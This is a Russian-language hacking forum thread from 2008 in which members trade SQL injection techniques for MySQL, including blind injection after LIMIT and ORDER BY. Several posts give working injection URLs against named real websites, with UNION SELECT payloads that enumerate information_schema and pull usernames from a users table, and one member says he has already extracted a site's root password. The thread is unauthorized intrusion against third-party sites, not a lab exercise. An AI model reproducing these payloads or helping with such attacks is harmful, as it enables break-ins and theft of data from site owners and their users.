Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Hero1n

    Hero1n Member

    Joined:
    11 Nov 2008
    Messages:
    9
    Likes Received:
    6
    Reputations:
    1
    попробуй войти под администратором. там есть поля ввода. и там уже смотри, либо воспользуйся сканером, типо пельмешко и так далее.
     
  2. mishgan80

    mishgan80 New Member

    Joined:
    18 Jul 2007
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    хм.... я вытащил пароль юзера root, но он туда не подходит, туда подходят только пароли обычных пользователей что и навело меня на мысль об использовании другоо входа для администраторов
     
  3. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    2jokester
    меня тоже интересует реализация инъекции после order и limit если таковая возможна.

    если бы ордера не было то можно былобы union прикрутить, а так не получается. Есть идеи?
     
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Лично мне о такой возможности ничего не известно (если это мускул разумеется), но как видишь уважаемый prescott хоть и косвенно, но дал понять, что это возможно.
    Ну что-ж линк я дал, надеюсь увидеть реализацию.
     
  5. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    2jokester

    А почему ругается при попытке завершить первый запрос ; ??

    может он эти настройки сервера имел ввиду)
     
    #3625 truelamer, 12 Nov 2008
    Last edited: 12 Nov 2008
  6. bons

    bons Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    286
    Likes Received:
    121
    Reputations:
    21
    в mysql нельзя выполнять несколько запросов, разделяя их ;
     
  7. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    ; если не ошибаюсь означает конец запроса, проправьте если ошибаюсь
     
  8. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    в MySQL использовать UNION после ORDER нельзя:
    SELECT 1 ORDER BY 1 LIMIT 1 UNION SELECT 1
    ->
    Incorrect usage of UNION and ORDER BY
    но просто с LIMIT можно:
    SELECT 1 LIMIT 1 UNION SELECT 1;
    ->
    +---+
    | 1 |
    +---+
    | 1 |
    +---+
    1 row in set (0.00 sec)
     
  9. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    Union использовать действительно нельзя, но:
    Code:
    select * from <table_name> order by 1 limit 0,5
    Допустим 5 в лимите уязвимый параметр, пишем так:

    Code:
    http://site.ru/id=5*if(version='5.0.1т.д. и т.п.',1,2)
    Получаем

    Code:
    select * from <table_name> order by 1 limit 0, 5*if(version='5.0.1т.д. и т.п.',1,2)
    Если вернуло пять записей - угадал версию, если десять - не угадал. Пишешь сплоит который перебирает посимвольно и дело в шляпе.

    И подзапросы в mysql тоже никто не отменял кстати.
     
    #3629 prescott, 12 Nov 2008
    Last edited: 12 Nov 2008
  10. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    2prescott и почему же тогда в данном случае не работает?
     
  11. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    Я думаю что в случае с formz.ru стоит другой сервер базы данных, поэтому и прошу помощи ачатовцев. С распространенными БД я сам могу в большинстве случаев справиться, тут просто какая то некандиция...

    Например такой запрос прокатывает, следовательно ; для этой БД означает конец запроса, ошибки ведь не возникает, заметь!

    Code:
    http://formz.ru/nb/public/faq/view?table.question_list.limit=2;%20select%201--
    А если вместо точки с запятой поставить например дефис, вылетает критическая ошибка.
     
    #3631 prescott, 12 Nov 2008
    Last edited: 12 Nov 2008
  12. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    2prescott

    почему тут не получается? вроде все как ты описывал, помоги разобраться

    http://www.contactphoto.com/archive.php?search=&limit=1

    вроде тогда один из двух вариантов должен был сработать

    http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(version(),1,1))=34,1,2)/*

    или

    http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(version(),1,1))=35,1,2)/*
     
    #3632 truelamer, 12 Nov 2008
    Last edited: 12 Nov 2008
  13. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    @prescott
    подзапросы после лимита или в его аргументе нельзя использовать, можно только добавить UNION SELECT и то при условии, что перед лимитом нет ORDER BY
    не будет так работать, даже такой запрос возвращает ошибку:
    select 1 order by 1 limit 1,5*1;
     
  14. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    Потомучто это не mysql и не mssql, ибо запрос http://www.contactphoto.com/archive.php?search=&limit=1,2-- ругается на --, что для них должно однозначно трактоваться как комментарий.

    UPD: был не прав, ошибка пишет что это действительно mysql...
     
    #3634 prescott, 12 Nov 2008
    Last edited: 12 Nov 2008
  15. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    это не mssql

    тема закрыта, если есть order by то можно не расчитывать на иньекцию.
     
  16. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    бред, ты хоть в ошибки смотри это MySQL. Насчет --, уже сотый раз говорю, что в MySQL нужно ставить пробел после него
    http://www.contactphoto.com/archive.php?search=&limit=1,2--%20
     
  17. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    кстати, если тебе всетаки нужен тот сайт, то инъекция есть тут, да и крутится легко:

    Code:
    http://www.contactphoto.com/view.php?sec=programs&eventid=1290+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4/*
     
    1 person likes this.
  18. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    http://mvtextosmedicos.com.ar/index.php?cat_id=-23+union+select+concat(table_name,0x3a,column_name ),2,3,4,5,6,7,8+from+information_schema.columns/* - пишет, что табла users есть
    http://mvtextosmedicos.com.ar/index.php?cat_id=-23+union+select+username,2,3,4,5,6,7,8+from+users/* - пишет ошибку... в чем проблема
     
  19. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    2prescott
    спасибо, меня интересовала исключительно идея скулы после limit с order by
     
  20. prescott

    prescott Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    132
    Likes Received:
    43
    Reputations:
    5
    Потомучто таблица в другой базе. Смотри так:
    Code:
    http://mvtextosmedicos.com.ar/index.php?cat_id=-23+union+select+concat(table_name,0x3a,table_schema ),2,3,4,5,6,7,8+from+information_schema.columns/*
    Она принадлежит базе test, вот запрос:
    Code:
    http://mvtextosmedicos.com.ar/index.php?cat_id=-23+union+select+username,2,3,4,5,6,7,8+from+test.users/*
     
    1 person likes this.
Thread Status:
Not open for further replies.